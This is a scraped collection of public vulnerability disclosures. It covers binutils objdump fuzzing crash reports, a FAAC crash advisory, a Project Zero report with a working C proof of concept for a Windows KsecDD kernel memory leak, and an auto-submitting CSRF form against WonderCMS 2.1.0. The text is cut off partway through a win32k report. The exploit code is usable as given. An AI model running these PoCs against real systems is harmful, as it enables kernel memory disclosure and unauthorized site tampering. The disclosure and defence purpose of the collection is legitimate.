    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L2309)
  in bfd_map_over_sections at bfd/section.c:1395
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/bfd/section.c#L1395)
  in disassemble_data at binutils/objdump.c:2445
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L2445)
  in dump_bfd at binutils/objdump.c:3547
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L3547)
  in display_file at binutils/objdump.c:3714
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L3714)
  in main at binutils/objdump.c:4016
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L4016)

Input: c3269b8eae3f3ec0001d835e66795702.6e6557284eb14f91acf6c2576396517c.min
Output: c3269b8eae3f3ec0001d835e66795702.6e6557284eb14f91acf6c2576396517c.txt

Error in "disassemble_bytes": heap-buffer-overflow
  in disassemble_bytes at binutils/objdump.c:1926
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L1926)
  in disassemble_section at binutils/objdump.c:2309
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L2309)
  in bfd_map_over_sections at bfd/section.c:1395
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/bfd/section.c#L1395)
  in disassemble_data at binutils/objdump.c:2445
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L2445)
  in dump_bfd at binutils/objdump.c:3547
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L3547)
  in display_file at binutils/objdump.c:3714
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L3714)
  in main at binutils/objdump.c:4016
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L4016)


Additional Information:
The command used was `objdump -D <file>`. The compilation flags used were `-g -O2 -fno-omit-frame-pointer -fsanitize=address -fno-sanitize-recover=undefined`. The configuration settings used were `--enable-targets=all --disable-shared`.


Proofs of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42199.zip
HireHackking 
Source: https://sourceware.org/bugzilla/show_bug.cgi?id=21581

I have been fuzzing objdump with American Fuzzy Lop and AddressSanitizer.

Please find attached the minimized file causing the issue ("Input") and the
ASAN report log ("Output"). Below is the reduced stacktrace with links to the
corresponding source lines on a GitHub mirror.

The command I used was `objdump -D <file>`.

Let me know if there is any additional information I can provide.

--

Input: 02d8fa874391d563ccfd5911ff5f5cf8.fe651c9b03ff955c157ecee745208476.min
Output: 02d8fa874391d563ccfd5911ff5f5cf8.fe651c9b03ff955c157ecee745208476.txt

Error in "bfd_get_string": stack-buffer-overflow
  in bfd_get_string at bfd/ieee.c:198
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/bfd/ieee.c#L198)
  in read_id at bfd/ieee.c:227
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/bfd/ieee.c#L227)
  in ieee_object_p at bfd/ieee.c:1907
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/bfd/ieee.c#L1907)
  in bfd_check_format_matches at bfd/format.c:311
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/bfd/format.c#L311)
  in display_object_bfd at binutils/objdump.c:3602
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L3602)
  in display_any_bfd at binutils/objdump.c:3693
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L3693)
  in display_file at binutils/objdump.c:3714
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L3714)
  in main at binutils/objdump.c:4016
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L4016)

Additional Information:
The command used was `objdump -D <file>`. The compilation flags used were `-g -O2 -fno-omit-frame-pointer -fsanitize=address -fno-sanitize-recover=undefined`. The configuration settings used were `--enable-targets=all --disable-shared`.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42200.zip
HireHackking 
Source: https://sourceware.org/bugzilla/show_bug.cgi?id=21586

I have been fuzzing objdump with American Fuzzy Lop and AddressSanitizer.

Please find attached the minimized file causing the issue ("Input") and the
ASAN report log ("Output"). Below is the reduced stacktrace with links to the
corresponding source lines on a GitHub mirror.

The command I used was `objdump -D <file>`.

Let me know if there is any additional information I can provide.

--

Input: 5ddfa2412fa85ccaec333ef01e682e5c.1a654bffa0e51502d471945837d8c8d2.min
Output: 5ddfa2412fa85ccaec333ef01e682e5c.1a654bffa0e51502d471945837d8c8d2.txt

Error in "decode_pseudodbg_assert_0": global-buffer-overflow
  in decode_pseudodbg_assert_0 at opcodes/bfin-dis.c:4604
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/opcodes/bfin-dis.c#L4604)
  in _print_insn_bfin at opcodes/bfin-dis.c:4760
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/opcodes/bfin-dis.c#L4760)
  in print_insn_bfin at opcodes/bfin-dis.c:4778
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/opcodes/bfin-dis.c#L4778)
  in disassemble_bytes at binutils/objdump.c:1864
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L1864)
  in disassemble_section at binutils/objdump.c:2309
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L2309)
  in bfd_map_over_sections at bfd/section.c:1395
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/bfd/section.c#L1395)
  in disassemble_data at binutils/objdump.c:2445
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L2445)
  in dump_bfd at binutils/objdump.c:3547
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L3547)
  in display_file at binutils/objdump.c:3714
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L3714)
  in main at binutils/objdump.c:4016
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L4016)

Input: eaa0ea31671f33585380fa20a9e48279.3eb5986fdbd0116801326df1767e6ef0.min
Output: eaa0ea31671f33585380fa20a9e48279.3eb5986fdbd0116801326df1767e6ef0.txt

Error in "decode_pseudodbg_assert_0": global-buffer-overflow
  in decode_pseudodbg_assert_0 at opcodes/bfin-dis.c:4596
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/opcodes/bfin-dis.c#L4596)
  in _print_insn_bfin at opcodes/bfin-dis.c:4760
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/opcodes/bfin-dis.c#L4760)
  in print_insn_bfin at opcodes/bfin-dis.c:4778
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/opcodes/bfin-dis.c#L4778)
  in disassemble_bytes at binutils/objdump.c:1864
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L1864)
  in disassemble_section at binutils/objdump.c:2309
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L2309)
  in bfd_map_over_sections at bfd/section.c:1395
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/bfd/section.c#L1395)
  in disassemble_data at binutils/objdump.c:2445
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L2445)
  in dump_bfd at binutils/objdump.c:3547
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L3547)
  in display_file at binutils/objdump.c:3714
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L3714)
  in main at binutils/objdump.c:4016
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L4016)

Additional Information:
The command used was `objdump -D <file>`. The compilation flags used were `-g -O2 -fno-omit-frame-pointer -fsanitize=address -fno-sanitize-recover=undefined`. The configuration settings used were `--enable-targets=all --disable-shared`.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42201.zip
HireHackking 
Source: https://sourceware.org/bugzilla/show_bug.cgi?id=21582

I have been fuzzing objdump with American Fuzzy Lop and AddressSanitizer.

Please find attached the minimized file causing the issue ("Input") and the
ASAN report log ("Output"). Below is the reduced stacktrace with links to the
corresponding source lines on a GitHub mirror.

The command I used was `objdump -D <file>`.

Let me know if there is any additional information I can provide.

--

Input: ef51bcdcaae667058b002f94b5dafd05.12926af7cc4fab77f87a3ec70a329100.min
Output: ef51bcdcaae667058b002f94b5dafd05.12926af7cc4fab77f87a3ec70a329100.txt

Error in "ieee_object_p": stack-buffer-overflow
  in ieee_object_p at bfd/ieee.c:1985
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/bfd/ieee.c#L1985)
  in bfd_check_format_matches at bfd/format.c:311
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/bfd/format.c#L311)
  in display_object_bfd at binutils/objdump.c:3602
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L3602)
  in display_any_bfd at binutils/objdump.c:3693
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L3693)
  in display_file at binutils/objdump.c:3714
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L3714)
  in main at binutils/objdump.c:4016
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L4016)

Additional Information:
The command used was `objdump -D <file>`. The compilation flags used were `-g -O2 -fno-omit-frame-pointer -fsanitize=address -fno-sanitize-recover=undefined`. The configuration settings used were `--enable-targets=all --disable-shared`.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42202.zip
HireHackking 
Source: https://sourceware.org/bugzilla/show_bug.cgi?id=21576

I have been fuzzing objdump with American Fuzzy Lop and AddressSanitizer.

Please find attached the minimized file causing the issue ("Input") and the
ASAN report log ("Output"). Below is the reduced stacktrace with links to the
corresponding source lines on a GitHub mirror.

The command I used was `objdump -D <file>`.

Let me know if there is any additional information I can provide.

--

Input: 2a13a720199253614962e0bb4402d98c.9149a6478708ae7cb458345e7cbc9354.min
Output: 2a13a720199253614962e0bb4402d98c.9149a6478708ae7cb458345e7cbc9354.txt

Error in "print_insn_score16": global-buffer-overflow
  in print_insn_score16 at opcodes/score7-dis.c:723
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/opcodes/score7-dis.c#L723)
  in s7_print_insn at opcodes/score7-dis.c:954
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/opcodes/score7-dis.c#L954)
  in disassemble_bytes at binutils/objdump.c:1864
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L1864)
  in disassemble_section at binutils/objdump.c:2309
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L2309)
  in bfd_map_over_sections at bfd/section.c:1395
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/bfd/section.c#L1395)
  in disassemble_data at binutils/objdump.c:2445
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L2445)
  in dump_bfd at binutils/objdump.c:3547
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L3547)
  in display_file at binutils/objdump.c:3714
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L3714)
  in main at binutils/objdump.c:4016
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L4016)

Additional Information:
The command used was `objdump -D <file>`. The compilation flags used were `-g -O2 -fno-omit-frame-pointer -fsanitize=address -fno-sanitize-recover=undefined`. The configuration settings used were `--enable-targets=all --disable-shared`.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42203.zip
HireHackking 
Source: https://sourceware.org/bugzilla/show_bug.cgi?id=21595

I have been fuzzing objdump with American Fuzzy Lop and AddressSanitizer.

Please find attached the minimized file causing the issue ("Input") and the ASAN report log ("Output"). Below is the reduced stacktrace with links to the corresponding source lines on a GitHub mirror.

The command used was `objdump -D <file>`. The compilation flags used were `-g -O2 -fno-omit-frame-pointer -fsanitize=address -fno-sanitize-recover=undefined`. The configuration settings used were `--enable-targets=all --disable-shared`.

Let me know if there is any additional information I can provide.

--

Input: 3ade4a4333249762a9df82c47f3c111a.65dbcbffa0f6467be847e1372688623b.min
Output: 3ade4a4333249762a9df82c47f3c111a.65dbcbffa0f6467be847e1372688623b.txt

Error in "aarch64_ext_ldst_reglist": global-buffer-overflow
  in aarch64_ext_ldst_reglist at opcodes/aarch64-dis.c:412
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/opcodes/aarch64-dis.c#L412)
  in aarch64_opcode_decode at opcodes/aarch64-dis.c:2739
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/opcodes/aarch64-dis.c#L2739)
  in aarch64_decode_insn at opcodes/aarch64-dis.c:2831
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/opcodes/aarch64-dis.c#L2831)
  in print_insn_aarch64_word at opcodes/aarch64-dis.c:2973
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/opcodes/aarch64-dis.c#L2973)
  in print_insn_aarch64 at opcodes/aarch64-dis.c:3209
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/opcodes/aarch64-dis.c#L3209)
  in disassemble_bytes at binutils/objdump.c:1864
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L1864)
  in disassemble_section at binutils/objdump.c:2309
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L2309)
  in bfd_map_over_sections at bfd/section.c:1395
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/bfd/section.c#L1395)
  in disassemble_data at binutils/objdump.c:2445
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L2445)
  in dump_bfd at binutils/objdump.c:3547
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L3547)
  in display_file at binutils/objdump.c:3714
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L3714)
  in main at binutils/objdump.c:4016
    (see https://github.com/bminor/binutils-gdb/blob/561bf3e950e410fbcac06523d43039f1f58150ca/binutils/objdump.c#L4016)


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42204.zip
HireHackking 
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1147

We have discovered that the IOCTL sent to the \Device\KsecDD device by the BCryptOpenAlgorithmProvider documented API returns some uninitialized pool memory in the output buffer. Let's consider the following input data for the IOCTL:

--- cut ---
00000000: 4d 3c 2b 1a 00 00 02 00 ff ff ff ff 00 00 00 00 M<+.............
00000010: 20 00 00 00 ff ff ff ff 01 00 00 00 02 00 00 00  ...............
00000020: 33 00 44 00 45 00 53 00 00 00                   3.D.E.S...
--- cut ---

On our test Windows 7 32-bit workstation, the layout of the output buffer is as follows:

--- cut ---
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 ff ff 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ................
00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000c0: 00 00 00 00 00 00 00 00 00 00 ff ff ?? ?? ?? ?? ................
--- cut ---

Where 00 denote bytes which are properly initialized, while ff indicate uninitialized values copied back to user-mode. As shown above, there are 2 leaked bytes at offsets 0x32-0x33, 2 leaked bytes at offsets 0x6e-0x6f, and 2 leaked bytes at offsets 0xca-0xcb, for a total of 6 disclosed bytes.

The issue can be reproduced by running the attached proof-of-concept program on a system with the Special Pools mechanism enabled for ntoskrnl.exe. Then, it is clearly visible that bytes at the aforementioned offsets are equal to the markers inserted by Special Pools, and would otherwise contain leftover data that was previously stored in that memory region:

--- cut ---
00000000: 01 00 00 00 08 00 00 00 0c 00 00 00 01 00 00 00 ................
00000010: 28 00 00 00 34 00 00 00 01 00 00 00 70 00 00 00 (...4.......p...
00000020: 98 00 00 00 ff ff ff ff 33 00 44 00 45 00 53 00 ........3.D.E.S.
00000030: 00 00[27 27]4d 00 69 00 63 00 72 00 6f 00 73 00 ..''M.i.c.r.o.s.
00000040: 6f 00 66 00 74 00 20 00 50 00 72 00 69 00 6d 00 o.f.t. .P.r.i.m.
00000050: 69 00 74 00 69 00 76 00 65 00 20 00 50 00 72 00 i.t.i.v.e. .P.r.
00000060: 6f 00 76 00 69 00 64 00 65 00 72 00 00 00[27 27]o.v.i.d.e.r...''
00000070: 74 00 00 00 80 00 00 00 04 00 00 00 94 00 00 00 t...............
00000080: 4b 00 65 00 79 00 4c 00 65 00 6e 00 67 00 74 00 K.e.y.L.e.n.g.t.
00000090: 68 00 00 00 80 00 00 00 a0 00 00 00 01 00 00 00 h...............
000000a0: 62 00 63 00 72 00 79 00 70 00 74 00 70 00 72 00 b.c.r.y.p.t.p.r.
000000b0: 69 00 6d 00 69 00 74 00 69 00 76 00 65 00 73 00 i.m.i.t.i.v.e.s.
000000c0: 2e 00 64 00 6c 00 6c 00 00 00[27 27]?? ?? ?? ?? ..d.l.l...''....
--- cut ---
00000000: 01 00 00 00 08 00 00 00 0c 00 00 00 01 00 00 00 ................
00000010: 28 00 00 00 34 00 00 00 01 00 00 00 70 00 00 00 (...4.......p...
00000020: 98 00 00 00 ff ff ff ff 33 00 44 00 45 00 53 00 ........3.D.E.S.
00000030: 00 00[85 85]4d 00 69 00 63 00 72 00 6f 00 73 00 ....M.i.c.r.o.s.
00000040: 6f 00 66 00 74 00 20 00 50 00 72 00 69 00 6d 00 o.f.t. .P.r.i.m.
00000050: 69 00 74 00 69 00 76 00 65 00 20 00 50 00 72 00 i.t.i.v.e. .P.r.
00000060: 6f 00 76 00 69 00 64 00 65 00 72 00 00 00[85 85]o.v.i.d.e.r.....
00000070: 74 00 00 00 80 00 00 00 04 00 00 00 94 00 00 00 t...............
00000080: 4b 00 65 00 79 00 4c 00 65 00 6e 00 67 00 74 00 K.e.y.L.e.n.g.t.
00000090: 68 00 00 00 80 00 00 00 a0 00 00 00 01 00 00 00 h...............
000000a0: 62 00 63 00 72 00 79 00 70 00 74 00 70 00 72 00 b.c.r.y.p.t.p.r.
000000b0: 69 00 6d 00 69 00 74 00 69 00 76 00 65 00 73 00 i.m.i.t.i.v.e.s.
000000c0: 2e 00 64 00 6c 00 6c 00 00 00[85 85]?? ?? ?? ?? ..d.l.l.........
--- cut ---

Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <bcrypt.h>
#include <winternl.h>
#include <cstdio>

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

int main() {
  HANDLE hksecdd;
  OBJECT_ATTRIBUTES objattr;
  UNICODE_STRING ksecdd_name;
  IO_STATUS_BLOCK iob;
  NTSTATUS st;

  RtlInitUnicodeString(&ksecdd_name, L"\\Device\\KsecDD");
  InitializeObjectAttributes(&objattr, &ksecdd_name, 0, NULL, 0);
  st = NtOpenFile(&hksecdd,
                  FILE_READ_DATA | FILE_WRITE_DATA | SYNCHRONIZE,
                  &objattr,
                  &iob,
                  FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
                  FILE_SYNCHRONOUS_IO_NONALERT);
  if (!NT_SUCCESS(st)) {
    printf("NtOpenFile failed, %x\n", st);
    return 1;
  }

  BYTE InputBuffer[] = "\x4d\x3c\x2b\x1a\x00\x00\x02\x00\xff\xff\xff\xff\x00\x00\x00\x00\x20\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00\x02\x00\x00\x00\x33\x00\x44\x00\x45\x00\x53\x00\x00\x00";
  BYTE OutputBuffer[0x200] = { /* zero padding */ };
  DWORD BytesReturned = 0;
  if (!DeviceIoControl(hksecdd, 0x390400, InputBuffer, sizeof(InputBuffer), OutputBuffer, sizeof(OutputBuffer), &BytesReturned, NULL)) {
    printf("DeviceIoControl failed, %d\n", GetLastError());
    CloseHandle(hksecdd);
    return 1;
  }

  PrintHex(OutputBuffer, BytesReturned);

  CloseHandle(hksecdd);

  return 0;
}
HireHackking 
Freeware Advanced Audio Coder (FAAC) multiple vulnerabilities

================
Author : qflb.wu
===============

Introduction:
=============
FAAC is an encoder for a lossy sound compression scheme specified in MPEG-2 Part 7 and MPEG-4 Part 3 standards and known as Advanced Audio Coding (AAC). This encoder is useful for producing files that can be played back on iPod. Moreover, iPod does not understand other sound compression schemes in video files.

Affected version:
=====
1.28

Vulnerability Description:
==========================
1.
the wav_open_read function in frontend/input.c in Freeware Advanced Audio Coder (FAAC) 1.28 can cause a denial of service(large loop) via a crafted wav file.

./faac faac_1.28_wav_open_read_large_loop.wav -o out.aac

POC:
faac_1.28_wav_open_read_large_loop.wav
CVE:
CVE-2017-9129

2.
the faacEncOpen function in libfaac/frame.c in Freeware Advanced Audio Coder (FAAC) 1.28 can cause a denial of service(invalid memory read and application crash) via a crafted wav file.

./faac faac_1.28_faacEncOpen_invalid_memory.wav -o out.aac

ASAN:SIGSEGV
=================================================================
==49677==ERROR: AddressSanitizer: SEGV on unknown address 0x7f3e959c9b34 (pc 0x7f3e96bf7739 sp 0x7ffe47c93980 bp 0x000000a59e50 T0)
    #0 0x7f3e96bf7738 in faacEncOpen /home/a/Downloads/faac-1.28/libfaac/frame.c:368
    #1 0x49c444 in main /home/a/Downloads/faac-1.28/frontend/main.c:803
    #2 0x7f3e959d3ec4 (/lib/x86_64-linux-gnu/libc.so.6+0x21ec4)
    #3 0x49311c in _start (/home/a/Downloads/faac-1.28/frontend/.libs/lt-faac+0x49311c)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/a/Downloads/faac-1.28/libfaac/frame.c:368 faacEncOpen
==49677==ABORTING

POC:
faac_1.28_faacEncOpen_invalid_memory.wav
CVE:
CVE-2017-9130

===============================

Proofs of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42207.zip
HireHackking 
<!--
# Exploit Title: Cross-Site Request Forgery in WonderCMS
# Date: 2017-06-19
# Exploit Author: Zerox Security Lab
# Software Link: https://www.wondercms.com
# Version: 2.1.0
# Twitter: https://twitter.com/ZeroxSecLab

0xCode Lab ID:
---------------
0xC-201706-002

Introduction:
-------------
WonderCMS is a free open source Content Management System. In other
words, WonderCMS is a free website builder.
WonderCMS doesn't require any configuration and can be simply unzipped
and uploaded to your hosting provider. The database is a text file
which you can copy, move, backup and restore easily.

Proof of Concept (PoC):
------------------------
-->
<html>
<body>
<form action="http://localhost/wonder/" method="post">
	<input name="fieldname" value="title">
	<input name="content" value="Hacked By 0xCode Security Lab">
	<input name="target" value="pages">
	<input type="submit" value="ok">
</form>
</body>
</html>
<script>
	document.forms[0].submit();
</script>
<!--
Disclosure Timeline:
---------------------
2017-06-16: Vulnerability found.
2017-06-17: Reported to vendor.
2017-06-17: Vendor responded and send a new version for test in it.
2017-06-17: Test new version and vulernability patched successfully.
2017-06-18: Vendor responded, update released.
2017-06-19: Public Disclosure.

Fix:
----
This issue fixed in WonderCMS 2.2.0

References:
------------
https://www.wondercms.com/whatsnew
https://www.wondercms.com/forum/viewtopic.php?f=8&t=885
https://github.com/robiso/wondercms/issues/36

Credits & Authors:
------------------
Zerox Security Lab
-->
HireHackking 
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1144

The win32k!NtGdiGetOutlineTextMetricsInternalW system call corresponds to the documented GetOutlineTextMetrics API function [1], and is responsible for returning information about the outline text metrics associated with a specific Device Context. The output data is passed to the client via a OUTLINETEXTMETRIC structure [2], which contains fields of various basic types (LONG, WCHAR, BYTE, ...), as well as other embedded structures.

The simplified workflow of the syscall handler is as follows:
  1. Allocate a pool-based buffer with a user-specified size for the output data.
  2. Fill out all of the structure fields in the internal win32k!GreGetOutlineTextMetricsInternalW function.
  3. Copy the contents of the buffer back to user-mode.

Due to the mixture of fields of various widths, the structure has several padding holes which do not correspond to any specific fields, but are required for the correct alignment of the data inside. Since the kernel-mode buffer is not pre-initialized upon allocation, and the holes are also not explicitly initialized in the system call, they end up containing junk data (from previous pool allocations), which is then leaked to the user-mode application.

The initialization metadata of an example pool allocation created upon a request from explorer.exe on Windows 7 32-bit is shown below:

00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ................
00000050: ff 00 00 00 00 00 00 00 00 00 00 ff 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
